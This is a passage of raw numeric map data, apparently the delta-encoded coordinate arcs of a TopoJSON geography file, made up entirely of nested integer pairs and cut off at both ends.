[-99,635],[-88,1363],[256,381],[733,496],[549,609],[508,824],[668,1141],[465,444],[763,741],[610,259],[457,-31],[423,489],[506,-26],[499,118],[869,-433],[-358,-158],[305,-371]],[[57613,97879],[-412,-318],[-806,-70],[-819,98],[-50,163],[-398,11],[-304,271],[858,165],[403,-142],[281,177],[702,-148],[545,-207]],[[56867,96577],[-620,-241],[-490,137],[191,152],[-167,189],[575,119],[110,-222],[401,-134]],[[37010,99398],[932,353],[975,-27],[354,218],[982,57],[2219,-74],[1737,-469],[-513,-227],[-1062,-26],[-1496,-58],[140,-105],[984,65],[836,-204],[540,181],[231,-212],[-305,-344],[707,220],[1348,229],[833,-114],[156,-253],[-1132,-420],[-157,-136],[-888,-102],[643,-28],[-324,-431],[-224,-383],[9,-658],[333,-386],[-434,-24],[-457,-187],[513,-313],[65,-502],[-297,-55],[360,-508],[-617,-42],[322,-241],[-91,-208],[-391,-91],[-388,-2],[348,-400],[4,-263],[-549,244],[-143,-158],[375,-148],[364,-361],[105,-476],[-495,-114],[-214,228],[-344,340],[95,-401],[-322,-311],[732,-25],[383,-32],[-745,-515],[-755,-466],[-813,-204],[-306,-2],[-288,-228],[-386,-624],[-597,-414],[-192,-24],[-370,-145],[-399,-138],[-238,-365],[-4,-415],[-141,-388],[-453,-472],[112,-462],[-125,-488],[-142,-577],[-391,-36],[-410,482],[-556,3],[-269,324],[-186,577],[-481,735],[-141,385],[-38,530],[-384,546],[100,435],[-186,208],[275,691],[418,220],[110,247],[58,461],[-318,-209],[-151,-88],[-249,-84],[-341,193],[-19,401],[109,314],[258,9],[567,-157],[-478,375],[-249,202],[-276,-83],[-232,147],[310,550],[-169,220],[-220,409],[-335,626],[-353,230],[3,247],[-745,346],[-590,43],[-743,-24],[-677,-44],[-323,188],[-482,372],[729,186],[559,31],[-1188,154],[-627,241],[39,229],[1051,285],[1018,284],[107,214],[-750,213],[243,235],[961,413],[404,63],[-115,265],[658,156],[854,93],[853,5],[303,-184],[737,325],[663,-221],[390,-46],[577,-192],[-660,318],[38,253]],[[69148,21851],[179,-186],[263,-74],[9,-112],[-77,-269],[-427,-38],[-7,314],[41,244],[19,121]],[[84713,45326],[32,139],[239,133],[194,20],[87,74],[105,-74],[-102,-160],[-289,-258],[-233,-170]],[[54540,33696],[133,292],[109,-162],[47,-252],[125,-43],[175,-112],[149,43],[248,302],[0,2182]],[[55526,35946],[75,-88],[165,-562],[-26,-360],[62,-207],[199,60],[139,264],[132,177],[68,283],[135,137],[117,-71],[133,-166],[226,-29],[178,138],[28,184],[48,283],[152,47],[83,222],[93,393],[249,442],[393,435]],[[58175,37528],[113,-7],[134,-100],[94,71],[148,-59]],[[58664,37433],[133,-832],[72,-419],[-49,-659],[23,-212]],[[58843,35311],[-140,108],[-80,-42],[-26,-172],[-76,-222],[2,-204],[166,-320],[163,63],[56,263]],[[58908,34785],[211,-5]],[[59119,34780],[-70,-430],[-32,-491],[-72,-267],[-190,-298],[-54,-86],[-118,-300],[-77,-303],[-158,-424],[-314,-609],[-196,-355],[-210,-269],[-290,-229],[-141,-31],[-36,-164],[-169,88],[-138,-113],[-301,114],[-168,-72],[-115,31],[-286,-233],[-238,-94],[-171,-223],[-127,-14],[-117,210],[-94,11],[-120,264],[-13,-82],[-37,159],[2,346],[-90,396],[89,108],[-7,453],[-182,553],[-139,501],[-1,1],[-199,768]],[[58049,33472],[-121,182],[-130,-120],[-151,-232],[-148,-374],[209,-454],[99,59],[51,188],[155,93],[47,192],[85,288],[-96,178]],[[23016,65864],[-107,-518],[-49,-426],[-20,-791],[-27,-289],[48,-322],[86,-288],[56,-458],[184,-440],[65,-337],[109,-291],[295,-157],[114,-247],[244,165],[212,60],[208,106],[175,101],[176,241],[67,345],[22,496],[48,173],[188,155],[294,137],[246,-21],[169,50],[66,-125],[-9,-285],[-149,-351],[-66,-360],[51,-103],[-42,-255],[-69,-461],[-71,152],[-58,-10]],[[25472,61510],[-53,-8],[-99,-357],[-51,70],[-33,-27],[2,-87]],[[25238,61101],[-257,7],[-259,-1],[-1,-333],[-125,-1],[103,-198],[103,-136],[31,-128],[45,-36],[-7,-201],[-357,-2],[-133,-481],[39,-111],[-32,-138],[-7,-172]],[[24381,59170],[-314,636],[-144,191],[-226,155],[-156,-43],[-223,-223],[-140,-58],[-196,156],[-208,112],[-260,271],[-208,83],[-314,275],[-233,282],[-70,158],[-155,35],[-284,187],[-116,270],[-299,335],[-139,373],[-66,288],[93,57],[-29,169],[64,153],[1,204],[-93,266],[-25,235],[-94,298],[-244,587],[-280,462],[-135,368],[-238,241],[-51,145],[42,365],[-142,138],[-164,287],[-69,412],[-149,48],[-162,311],[-130,288],[-12,184],[-149,446],[-99,452],[5,227],[-201,234],[-93,-25],[-159,163],[-44,-240],[46,-284],[27,-444],[95,-243],[206,-407],[46,-139],[42,-42],[37,-203],[49,8],[56,-381],[85,-150],[59,-210],[174,-300],[92,-550],[83,-259],[77,-277],[15,-311],[134,-20],[112,-268],[100,-264],[-6,-106],[-117,-217],[-49,3],[-74,359],[-181,337],[-201,286],[-142,150],[9,432],[-42,320],[-132,183],[-191,264],[-37,-76],[-70,154],[-171,143],[-164,343],[20,44],[115,-33],[103,221],[10,266],[-214,422],[-163,163],[-102,369],[-103,388],[-129,472],[-113,531]],[[33993,32727],[180,63],[279,-457],[103,18],[286,-379],[218,-327],[160,-402],[-122,-280],[77,-334]],[[35174,30629],[-121,-372],[-313,-328],[-205,118],[-151,-63],[-256,253],[-189,-19],[-169,327]],[[34826,35372],[54,341],[38,350],[0,325],[-100,107],[-104,-96],[-103,26],[-33,228],[-26,541],[-52,177],[-187,160],[-114,-116],[-293,113],[18,802],[-82,329]],[[33842,38659],[87,122],[-27,337],[77,259],[49,465],[-66,367],[-151,166],[-30,233],[41,342],[-533,24],[-107,688],[81,10],[-3,255],[-55,172],[-12,342],[-161,175],[-175,-6],[-115,172],[-188,117],[-109,220],[-311,98],[-302,529],[23,396],[-34,227],[29,443],[-363,-100],[-147,-222],[-243,-239],[-62,-179],[-143,-13],[-206,50]],[[30686,44109],[-157,-102],[-126,68],[18,898],[-228,-348],[-245,15],[-105,315],[-184,34],[59,254],[-155,359],[-115,532],[73,108],[0,250],[168,171],[-28,319],[71,206],[20,275],[318,402],[227,114],[37,89],[251,-28]],[[30585,48040],[125,1620],[6,256],[-43,339],[-123,215],[1,430],[156,97],[56,-61],[9,226],[-162,61],[-4,370],[541,-13],[92,203],[77,-187],[55,-349],[52,73]],[[31423,51320],[153,-312],[216,38],[54,181],[206,138],[115,97],[32,250],[198,168],[-15,124],[-235,51],[-39,372],[12,396],[-125,153],[52,55],[206,-76],[221,-148],[80,140],[200,92],[310,221],[102,225],[-37,167]],[[33129,53652],[145,26],[64,-136],[-36,-259],[96,-90],[63,-274],[-77,-209],[-44,-502],[71,-299],[20,-274],[171,-277],[137,-29],[30,116],[88,25],[126,104],[90,157],[154,-50],[67,21]],[[34294,51702],[151,-48],[25,120],[-46,118],[28,171],[112,-53],[131,61],[159,-125]],[[34854,51946],[121,-122],[86,160],[62,-25],[38,-166],[133,42],[107,224],[85,436],[164,540]],[[35650,53035],[95,28],[69,-327],[155,-1033],[149,-97],[7,-408],[-208,-487],[86,-178],[491,-92],[10,-593],[211,388],[349,-212],[462,-361],[135,-346],[-45,-327],[323,182],[540,-313],[415,23],[411,-489],[355,-662],[214,-170],[237,-24],[101,-186],[94,-752],[46,-358],[-110,-977],[-142,-385],[-391,-822],[-177,-668],[-206,-513],[-69,-11],[-78,-435],[20,-1107],[-77,-910],[-30,-390],[-88,-233],[-49,-790],[-282,-771],[-47,-610],[-225,-256],[-65,-355],[-302,2],[-437,-227],[-195,-263],[-311,-173],[-327,-470],[-235,-586],[-41,-441],[46,-326],[-51,-597],[-63,-289],[-195,-325],[-308,-1040],[-244,-468],[-189,-277],[-127,-562],[-183,-337]],[[33842,38659],[-4,182],[-259,302],[-258,9],[-484,-172],[-133,-520],[-7,-318],[-110,-708]],[[30669,40193],[175,638],[-119,496],[63,199],[-49,219],[108,295],[6,503],[13,415],[60,200],[-240,951]],[[30452,39739],[-279,340],[-24,242],[-551,593],[-498,646],[-214,365],[-115,488],[46,170],[-236,775],[-274,1090],[-262,1177],[-114,269],[-87,435],[-216,386],[-198,239],[90,264],[-134,563],[86,414],[221,373]],[[27693,48568],[33,-246],[-79,-141],[8,-216],[114,47],[113,-64],[116,-298],[157,243],[53,398],[170,514],[334,233],[303,619],[86,384],[-38,449]],[[29063,50490],[74,56],[184,-280],[89,-279],[129,-152],[163,-620],[207,-74],[153,157],[101,-103],[166,51],[213,-276],[-179,-602],[83,-14],[139,-314]],[[29063,50490],[-119,140],[-137,195],[-79,-94],[-235,82],[-68,255],[-52,-10],[-278,338]],[[28095,51396],[-37,183],[103,44],[-12,296],[65,214],[138,40],[117,371],[106,310],[-102,141],[52,343],[-62,540],[59,155],[-44,500],[-112,315]],[[28366,54848],[36,287],[89,-43],[52,176],[-64,348],[34,86]],[[28513,55702],[143,-18],[209,412],[114,63],[3,195],[51,500],[159,274],[175,11],[22,123],[218,-49],[218,298],[109,132],[134,285],[98,-36],[73,-156],[-54,-199]],[[30185,57537],[-178,-99],[-71,-295],[-107,-169],[-81,-220],[-34,-422],[-77,-345],[144,-40],[35,-271],[62,-130],[21,-238],[-33,-219],[10,-123],[69,-49],[66,-207],[357,57],[161,-75],[196,-508],[112,63],[200,-32],[158,68],[99,-102],[-50,-318],[-62,-199],[-22,-423],[56,-393],[79,-175],[9,-133],[-140,-294],[100,-130],[74,-207],[85,-589]],[[28366,54848],[-93,170],[-59,319],[68,158],[-70,40],[-52,196],[-138,164],[-122,-38],[-56,-205],[-112,-149],[-61,-20],[-27,-123],[132,-321],[-75,-76],[-40,-87],[-130,-30],[-48,353],[-36,-101],[-92,35],[-56,238],[-114,39],[-72,69],[-119,-1],[-8,-128],[-32,89]],[[26954,55439],[14,117],[23,120],[-10,107],[41,70],[-58,88],[-1,238],[107,53]],[[27070,56232],[100,-212],[-6,-126],[111,-26],[26,48],[77,-145],[136,42],[119,150],[168,119],[95,176],[153,-34],[-10,-58],[155,-21],[124,-102],[90,-177],[105,-164]],[[26954,55439],[-151,131],[-56,124],[32,103],[-11,130],[-77,142],[-109,116],[-95,76],[-19,173],[-73,105],[18,-172],[-55,-141],[-64,164],[-89,58],[-38,120],[2,179],[36,187],[-78,83],[64,114]],[[26191,57131],[42,76],[183,-156],[63,77],[89,-50],[46,-121],[82,-40],[66,126]],[[26762,57043],[70,-321],[108,-238],[130,-252]],[[26191,57131],[-96,186],[-130,238],[-61,200],[-117,185],[-140,267],[31,91],[46,-88],[21,41]],[[25745,58251],[86,25],[35,135],[41,5],[-6,290],[65,14],[58,-4],[60,158],[82,-120],[29,74],[51,70],[97,163],[4,121],[27,-5],[36,141],[29,17],[47,-90],[56,-27],[61,76],[70,0],[97,77],[38,81],[95,-12]],[[26903,59440],[-24,-57],[-14,-132],[29,-216],[-64,-202],[-30,-237],[-9,-261],[15,-152],[7,-266],[-43,-58],[-26,-253],[19,-156],[-56,-151],[12,-159],[43,-97]],[[25745,58251],[-48,185],[-84,51]],[[25613,58487],[19,237],[-38,64],[-57,42],[-122,-70],[-10,79],[-84,95],[-60,118],[-82,50]],[[25179,59102],[58,150],[-22,116],[20,113],[131,166],[127,225]],[[25493,59872],[29,-23],[61,104],[79,8],[26,-48],[43,29],[129,-53],[128,15],[90,66],[32,66],[89,-31],[66,-40],[73,14],[55,51],[127,-82],[44,-13],[85,-110],[80,-132],[101,-91],[73,-162]],[[25613,58487],[-31,-139],[-161,9],[-100,57],[-115,117],[-154,37],[-79,127]],[[24973,58695],[9,86],[95,149],[52,66],[-15,69],[65,37]],[[25238,61101],[-2,-468],[-22,-667],[83,0]],[[25297,59966],[90,-107],[24,88],[82,-75]],[[24973,58695],[-142,103],[-174,11],[-127,117],[-149,244]],[[25472,61510],[1,-87],[53,-3],[-5,-160],[-45,-256],[24,-91],[-29,-212],[18,-56],[-32,-299],[-55,-156],[-50,-19],[-55,-205]],[[30185,57537],[-8,-139],[-163,-69],[91,-268],[-3,-309],[-123,-344],[105,-468],[120,38],[62,427],[-86,208],[-14,447],[346,241],[-38,278],[97,186],[100,-415],[195,-9],[180,-330],[11,-195],[249,-6],[297,61],[159,-264],[213,-74],[155,185],[4,149],[344,35],[333,9],[-236,-175],[95,-279],[222,-44],[210,-291],[45,-473],[144,13],[109,-139]],[[33400,55523],[-220,-347],[-24,-215],[95,-220],[-69,-110],[-171,-95],[5,-273],[-75,-163],[188,-448]],[[33400,55523],[183,-217],[171,-385],[8,-304],[105,-14],[149,-289],[109,-205]],[[34125,54109],[-44,-532],[-169,-154],[15,-139],[-51,-305],[123,-429],[89,-1],[37,-333],[169,-514]],[[34125,54109],[333,-119],[30,107],[225,43],[298,-159]],[[35011,53981],[-144,-508],[22,-404],[109,-351],[-49,-254],[-24,-270],[-71,-248]],[[35011,53981],[95,-65],[204,-140],[294,-499],[46,-242]],[[51718,79804],[131,-155],[400,-109],[-140,-404],[-35,-421]],[[52074,78715],[-77,-101],[-126,54],[9,-150],[-203,-332],[-5,-267],[133,92],[95,-259]],[[51900,77752],[-11,-167],[82,-222],[-97,-180],[72,-457],[151,-75],[-32,-256]],[[52065,76395],[-252,-334],[-548,160],[-404,-192],[-32,-355]],[[50829,75674],[-322,-77],[-313,267],[-101,-127],[-511,268],[-111,230]],[[49471,76235],[144,354],[53,1177],[-287,620],[-205,299],[-424,227],[-28,431],[360,129],[466,-152],[-88,669],[263,-254],[646,461],[84,484],[243,119]],[[50698,80799],[40,-207],[129,-10],[129,-237],[194,-279],[143,46],[243,-269]],[[51576,79843],[62,-52],[80,13]],[[52429,75765],[179,226],[47,-507],[-92,-456],[-126,120],[-64,398],[56,219]],[[27693,48568],[148,442],[-60,258],[-106,-275],[-166,259],[56,167],[-47,536],[97,89],[52,368],[105,381],[-20,241],[153,126],[190,236]],[[31588,61519],[142,-52],[50,-118],[-71,-149],[-209,4],[-163,-21],[-16,253],[40,86],[227,-3]],[[28453,61504],[187,-53],[147,-142],[46,-161],[-195,-11],[-84,-99],[-156,95],[-159,215],[34,135],[116,41],[64,-20]],[[27147,64280],[240,-42],[219,-7],[261,-201],[110,-216],[260,66],[98,-138],[235,-366],[173,-267],[92,8],[165,-120],[-20,-167],[205,-24],[210,-242],[-33,-138],[-185,-75],[-187,-29],[-191,46],[-398,-57],[186,329],[-113,154],[-179,39],[-96,171],[-66,336],[-157,-23],[-259,159],[-83,124],[-362,91],[-97,115],[104,148],[-273,30],[-199,-307],[-115,-8],[-40,-144],[-138,-65],[-118,56],[146,183],[60,213],[126,131],[142,116],[210,56],[67,65]],[[58175,37528],[-177,267],[-215,90],[-82,375],[0,208],[-119,64],[-315,649],[-87,342],[-56,105],[-107,473]],[[57017,40101],[311,-65],[90,-68],[94,13],[154,383],[241,486],[100,46],[33,205],[159,235],[210,81]],[[58409,41417],[18,-220],[232,12],[128,-125],[60,-146],[132,-43],[145,-190],[0,-748],[-54,-409],[-12,-442],[45,-175],[-31,-348],[-42,-53],[-74,-426],[-292,-671]],[[55526,35946],[0,1725],[274,20],[8,2105],[207,19],[428,207],[106,-243],[177,231],[85,2],[156,133]],[[56967,40145],[50,-44]],[[54540,33696],[-207,446],[-108,432],[-62,575],[-68,428],[-93,910],[-7,707],[-35,322],[-108,243],[-144,489],[-146,708],[-60,371],[-226,577],[-17,453]],[[53259,40357],[134,113],[166,100],[180,-17],[166,-267],[42,41],[1126,26],[192,-284],[673,-83],[510,241]],[[56448,40227],[228,134],[180,-34],[109,-133],[2,-49]],[[45357,58612],[-115,460],[-138,210],[122,112],[134,415],[66,304]],[[45426,60113],[96,189],[138,-51],[135,129],[155,6],[133,-173],[184,-157],[168,-435],[184,-405]],[[46619,59216],[13,-368],[54,-338],[104,-166],[24,-229],[-13,-184]],[[46801,57931],[-40,-33],[-151,47],[-21,-66],[-61,-13],[-200,144],[-134,6]],[[46194,58016],[-513,25],[-75,-67],[-92,19],[-147,-96]],[[45367,57897],[-46,453]],[[45321,58350],[253,-13],[67,83],[50,5],[103,136],[119,-124],[121,-11],[120,133],[-56,170],[-92,-99],[-86,3],[-110,145],[-88,-9],[-63,-140],[-302,-17]],[[46619,59216],[93,107],[47,348],[88,14],[194,-165],[157,117],[107,-39],[42,131],[1114,9],[62,414],[-48,73],[-134,2550],[-134,2550],[425,10]],[[48632,65335],[937,-1289],[937,-1289],[66,-277],[173,-169],[129,-96],[3,-376],[308,58]],[[51185,61897],[1,-1361],[-152,-394],[-24,-364],[-247,-94],[-379,-51],[-102,-210],[-178,-23]],[[50104,59400],[-178,-3],[-70,114],[-153,-84],[-259,-246],[-53,-184],[-216,-265],[-38,-152],[-116,-120],[-134,79],[-76,-144],[-41,-405],[-221,-490],[7,-200],[-76,-250],[18,-343]],[[48498,56707],[-114,-88],[-65,-74],[-43,253],[-80,-67],[-48,11],[-51,-172],[-215,5],[-77,89],[-36,-54]],[[47769,56610],[-85,170],[15,176],[-35,69],[-59,-58],[11,192],[57,152],[-114,248],[-33,163],[-62,130],[-55,15],[-67,-83],[-90,-79],[-76,-128],[-119,48],[-77,150],[-46,19],[-73,-78],[-44,-1],[-16,216]],[[47587,66766],[1045,-1431]],[[45426,60113],[-24,318],[78,291],[34,557],[-30,583],[-34,294],[28,295],[-72,281],[-146,255]],[[50747,54278],[-229,-69]],[[50518,54209],[-69,407],[13,1357],[-56,122],[-11,290],[-96,207],[-85,174],[35,311]],[[50249,57077],[96,67],[56,258],[136,56],[61,176]],[[50598,57634],[93,173],[100,2],[212,-340]],[[51003,57469],[-11,-197],[62,-350],[-54,-238],[29,-159],[-135,-366],[-86,-181],[-52,-372],[7,-376],[-16,-952]],[[54026,58177],[-78,-34],[-9,-188]],[[53939,57955],[-52,-13],[-188,647],[-65,24],[-217,-331],[-215,173],[-150,34],[-80,-83],[-163,18],[-164,-252],[-141,-14],[-337,305],[-131,-145],[-142,10],[-104,223],[-279,221],[-298,-70],[-72,-128],[-39,-340],[-80,-238],[-19,-527]],[[50598,57634],[6,405],[-320,134],[-9,286],[-156,386],[-37,269],[22,286]],[[51185,61897],[392,263],[804,1161],[952,1126]],[[53333,64447],[439,-255],[156,-324],[197,220]],[[53939,57955],[110,-235],[-31,-107],[-14,-196],[-234,-457],[-74,-377],[-39,-307],[-59,-132],[-56,-414],[-148,-243],[-43,-299],[-63,-238],[-26,-246],[-191,-199],[-156,243],[-105,-10],[-165,-345],[-81,-6],[-132,-570],[-71,-418]],[[52361,53399],[-289,-213],[-105,31],[-107,-132],[-222,13],[-149,370],[-91,427],[-197,389],[-209,-7],[-245,1]],[[54244,54965],[-140,-599],[-67,-107],[-21,-458],[28,-249],[-23,-176],[132,-309],[23,-212],[103,-305],[127,-190],[12,-269],[29,-172]],[[54447,51919],[-20,-319],[-220,140],[-225,156],[-350,23]],[[53632,51919],[-35,32],[-164,-76],[-169,79],[-132,-38]],[[53132,51916],[-452,13]],[[52680,51929],[40,466],[-108,391],[-127,100],[-56,265],[-72,85],[4,163]],[[50518,54209],[-224,-126]],[[50294,54083],[-62,207],[-74,375],[-22,294],[61,532],[-69,215],[-27,466],[1,429],[-116,305],[20,184]],[[50006,57090],[243,-13]],[[50294,54083],[-436,-346],[-154,-203],[-250,-171],[-248,168]],[[49206,53531],[13,233],[-121,509],[73,667],[117,496],[-74,841]],[[49214,56277],[-38,444],[7,336],[482,27],[123,-43],[90,96],[128,-47]],[[48498,56707],[125,-129],[49,-195],[125,-125],[97,149],[130,22],[190,-152]],[[49206,53531],[-126,-7],[-194,116],[-178,-7],[-329,-103],[-193,-170],[-275,-217],[-54,15]],[[47857,53158],[22,487],[26,74],[-8,233],[-118,247],[-88,40],[-81,162],[60,262],[-28,286],[13,172]],[[47655,55121],[44,0],[17,258],[-22,114],[27,82],[103,71],[-69,473],[-64,245],[23,200],[55,46]],[[47655,55121],[-78,15],[-57,-238],[-78,3],[-55,126],[19,237],[-116,362],[-73,-67],[-59,-13]],[[47158,55546],[-77,-34],[3,217],[-44,155],[9,171],[-60,249],[-78,211],[-222,1],[-65,-112],[-76,-13],[-48,-128],[-32,-163],[-148,-260]],[[46320,55840],[-122,349],[-108,232],[-71,76],[-69,118],[-32,261],[-41,130],[-80,97]],[[45797,57103],[123,288],[84,-11],[73,99],[61,1],[44,78],[-24,196],[31,62],[5,200]],[[45797,57103],[-149,247],[-117,39],[-63,166],[1,90],[-84,125],[-18,127]],[[47857,53158],[-73,-5],[-286,282],[-252,449],[-237,324],[-187,381]],[[46822,54589],[66,189],[15,172],[126,320],[129,276]],[[46822,54589],[-75,44],[-200,238],[-144,316],[-49,216],[-34,437]],[[55125,52650],[-178,33],[-188,99],[-166,-313],[-146,-550]],[[56824,55442],[152,-239],[2,-192],[187,-308],[116,-255],[70,-355],[208,-234],[44,-187]],[[53609,47755],[-104,203],[-84,-100],[-112,-255]],[[53309,47603],[-228,626]],[[53081,48229],[212,326],[-105,391],[95,148],[187,73],[23,261],[148,-283],[245,-25],[85,279],[36,393],[-31,461],[-131,350],[120,684],[-69,117],[-207,-48],[-78,305],[21,258]],[[53081,48229],[-285,596],[-184,488],[-169,610],[9,196],[61,189],[67,430],[56,438]],[[52636,51176],[94,35],[404,-6],[-2,711]],[[52636,51176],[-52,90],[96,663]],[[59099,45126],[131,-264],[71,-501],[-47,-160],[-56,-479],[53,-490],[-87,-205],[-85,-549],[147,-153]],[[59226,42325],[-843,-487],[26,-421]],[[56448,40227],[-181,369],[-188,483],[13,1880],[579,-7],[-24,203],[41,222],[-49,277],[32,286],[-29,184]],[[59599,43773],[-77,-449],[77,-768],[97,9],[100,-191],[116,-427],[24,-760],[-120,-124],[-85,-410],[-181,365],[-21,417],[59,274],[-16,237],[-110,149],[-77,-54],[-159,284]],[[61198,44484],[45,-265],[-11,-588],[34,-519],[11,-923],[49,-290],[-83,-422],[-108,-410],[-177,-366],[-254,-225],[-313,-287],[-313,-634],[-107,-108],[-194,-420],[-115,-136],[-23,-421],[132,-448],[54,-346],[4,-177],[49,29],[-8,-579],[-45,-275],[65,-101],[-41,-245],[-116,-211],[-229,-199],[-334,-320],[-122,-219],[24,-248],[71,-40],[-24,-311]],[[58908,34785],[-24,261],[-41,265]],[[53383,47159],[-74,444]],[[53259,40357],[-26,372],[38,519],[96,541],[15,254],[90,532],[66,243],[159,386],[90,263],[29,438],[-15,335],[-83,211],[-74,358],[-68,355],[15,122],[85,235],[-84,570],[-57,396],[-139,374],[26,115]],[[58062,48902],[169,-46],[85,336],[147,-38]],[[59922,69905],[-49,-186]],[[59873,69719],[-100,82],[-58,-394],[69,-66],[-71,-81],[-12,-156],[131,80]],[[59832,69184],[7,-230],[-139,-944]],[[59700,68010],[-27,153],[-155,862]],[[59518,69025],[80,194],[-19,34],[74,276],[56,446],[40,149],[8,6]],[[59757,70130],[93,-1],[25,104],[75,8]],[[59950,70241],[4,-242],[-38,-90],[6,-4]],[[59757,70130],[99,482],[138,416],[5,21]],[[59999,71049],[125,-31],[45,-231],[-151,-223],[-68,-323]],[[63761,43212],[74,-251],[69,-390],[45,-711],[72,-276],[-28,-284],[-49,-174],[-94,347],[-53,-175],[53,-438],[-24,-250],[-77,-137],[-18,-500],[-109,-689],[-137,-814],[-172,-1120],[-106,-821],[-125,-685],[-226,-140],[-243,-250],[-160,151],[-220,211],[-77,312],[-18,524],[-98,471],[-26,425],[50,426],[128,102],[1,197],[133,447],[25,377],[-65,280],[-52,372],[-23,544],[97,331],[38,375],[138,22],[155,121],[103,107],[122,7],[158,337],[229,364],[83,297],[-38,253],[118,-71],[153,410],[6,356],[92,264],[96,-254]],[[59873,69719],[0,-362],[-41,-173]],[[45321,58350],[36,262]],[[52633,68486],[-118,1061],[-171,238],[-3,143],[-227,352],[-24,445],[171,330],[65,487],[-44,563],[57,303]],[[52339,72408],[302,239],[195,-71],[-9,-299],[236,217],[20,-113],[-139,-290],[-2,-273],[96,-147],[-36,-511],[-183,-297],[53,-322],[143,-10],[70,-281],[106,-92]],[[53191,70158],[-16,-454],[-135,-170],[-86,-189],[-191,-228],[30,-244],[-24,-250],[-136,-137]],[[47592,66920],[-2,700],[449,436],[277,90],[227,159],[107,295],[324,234],[12,438],[161,51],[126,219],[363,99],[51,230],[-73,125],[-96,624],[-17,359],[-104,379]],[[49397,71358],[267,323],[300,102],[175,244],[268,180],[471,105],[459,48],[140,-87],[262,232],[297,5],[113,-137],[190,35]],[[52633,68486],[90,-522],[15,-274],[-49,-482],[21,-270],[-36,-323],[24,-371],[-110,-247],[164,-431],[11,-253],[99,-330],[130,109],[219,-275],[122,-370]],[[59922,69905],[309,-234],[544,630]],[[60775,70301],[112,-720]],[[60887,69581],[-53,-89],[-556,-296],[277,-591],[-92,-101],[-46,-197],[-212,-82],[-66,-213],[-120,-182],[-310,94]],[[59709,67924],[-9,86]],[[64327,64904],[49,29],[11,-162],[217,93],[230,-15],[168,-18],[190,400],[207,379],[176,364]],[[65575,65974],[52,-202]],[[65627,65772],[38,-466]],[[65665,65306],[-142,-3],[-23,-384],[50,-82],[-126,-117],[-1,-241],[-81,-245],[-7,-238]],[[65335,63996],[-56,-125],[-835,298],[-106,599],[-11,136]],[[64113,65205],[-18,430],[75,310],[76,64],[84,-185],[5,-346],[-61,-348]],[[64274,65130],[-77,-42],[-84,117]],[[63326,68290],[58,-261],[-25,-135],[89,-445]],[[63448,67449],[-196,-16],[-69,282],[-248,57]],[[62935,67772],[204,567],[187,-49]],[[60775,70301],[615,614],[105,715],[-26,431],[152,146],[142,369]],[[61763,72576],[119,92],[324,-77],[97,-150],[133,100]],[[62436,72541],[180,-705],[182,-177],[21,-345],[-139,-204],[-65,-461],[193,-562],[340,-324],[143,-449],[-46,-428],[89,0],[3,-314],[153,-311]],[[63490,68261],[-164,29]],[[62935,67772],[-516,47],[-784,1188],[-413,414],[-335,160]],[[65665,65306],[125,-404],[155,-214],[203,-78],[165,-107],[125,-339],[75,-196],[100,-75],[-1,-132],[-101,-352],[-44,-166],[-117,-189],[-104,-404],[-126,31],[-58,-141],[-44,-300],[34,-395],[-26,-72],[-128,2],[-174,-221],[-27,-288],[-63,-125],[-173,5],[-109,-149],[1,-238],[-134,-165],[-153,56],[-186,-199],[-128,-34]],[[64752,60417],[-91,413],[-217,975]],[[64444,61805],[833,591],[185,1182],[-127,418]],[[65575,65974],[80,201],[35,-51],[-26,-244],[-37,-108]],[[96448,41190],[175,-339],[-92,-78],[-93,259],[10,158]],[[96330,41322],[-39,163],[-6,453],[133,-182],[45,-476],[-75,74],[-58,-32]],[[78495,57780],[-66,713],[178,492],[359,112],[261,-84]],[[79227,59013],[229,-232],[126,407],[246,-217]],[[79828,58971],[64,-394],[-34,-708],[-467,-455],[122,-358],[-292,-43],[-240,-238]],[[78981,56775],[-233,87],[-112,307],[-141,611]],[[78495,57780],[-249,271],[-238,-11],[41,464],[-245,-3],[-22,-650],[-150,-863],[-90,-522],[19,-428],[181,-18],[113,-539],[50,-512],[155,-338],[168,-69],[144,-306]],[[78372,54256],[-91,-243],[-183,-71],[-22,304],[-227,258],[-48,-105]],[[77801,54399],[-110,227],[-47,292],[-148,334],[-135,280],[-45,-347],[-53,328],[30,369],[82,566]],[[77375,56448],[135,607],[152,551],[-108,539],[4,274],[-32,330],[-185,470],[-66,296],[96,109],[101,514],[-113,390],[-177,431],[-134,519],[117,107],[127,639],[196,26],[162,256],[159,137]],[[77809,62643],[120,-182],[16,-355],[188,-27],[-68,-623],[6,-530],[293,353],[83,-104],[163,17],[56,205],[210,-40],[211,-480],[18,-583],[224,-515],[-12,-500],[-90,-266]],[[77809,62643],[59,218],[237,384]],[[78105,63245],[25,-139],[148,-16],[-42,676],[144,86]],[[78380,63852],[162,-466],[125,-537],[342,-5],[108,-515],[-178,-155],[-80,-212],[333,-353],[231,-699],[175,-520],[210,-411],[70,-418],[-50,-590]],[[77375,56448],[-27,439],[86,452],[-94,350],[23,644],[-113,306],[-90,707],[-50,746],[-121,490],[-183,-297],[-315,-421],[-156,53],[-172,138],[96,732],[-58,554],[-218,681],[34,213],[-163,76],[-197,481]],[[75657,62792],[-18,476],[97,-90],[6,424]],[[75742,63602],[137,140],[-30,251],[63,201],[11,612],[217,-135],[124,487],[14,288],[153,496],[-8,338],[359,408],[199,-107],[-23,364],[97,108],[-20,224]],[[77035,67277],[162,44],[93,-348],[121,-141],[8,-452],[-11,-487],[-263,-493],[-33,-701],[293,98],[66,-544],[176,-115],[-81,-490],[206,-222],[121,-109],[203,172],[9,-244]],[[78380,63852],[149,145],[221,-3],[271,68],[236,315],[134,-222],[254,-108],[-44,-340],[132,-240],[280,-154]],[[80013,63313],[-371,-505],[-231,-558],[-61,-410],[212,-623],[260,-772],[252,-365],[169,-475],[127,-1093],[-37,-1039],[-232,-389],[-318,-381],[-227,-492],[-346,-550],[-101,378],[78,401],[-206,335]],[[86327,75524],[0,0]],[[86327,75524],[-106,36],[-120,-200],[-83,-202],[10,-424],[-143,-130],[-50,-105],[-104,-174],[-185,-97],[-121,-159],[-9,-256],[-32,-65],[111,-96],[157,-259]],[[85652,73393],[-40,-143],[-118,-39],[-197,-29],[-108,-266],[-124,21],[-17,-54]],[[85048,72883],[-135,112],[-34,-111],[-81,-49],[-10,112],[-72,54],[-75,94],[76,260],[66,69],[-25,108],[71,319],[-18,96],[-163,65],[-131,158]],[[84517,74170],[227,379],[306,318],[191,419],[131,-185],[241,-22],[-44,312],[429,254],[111,331],[179,-348]],[[85652,73393],[240,-697],[68,-383],[3,-681],[-105,-325],[-252,-113],[-222,-245],[-250,-51],[-31,322],[51,443],[-122,615],[206,99],[-190,506]],[[82410,80055],[-135,-446],[-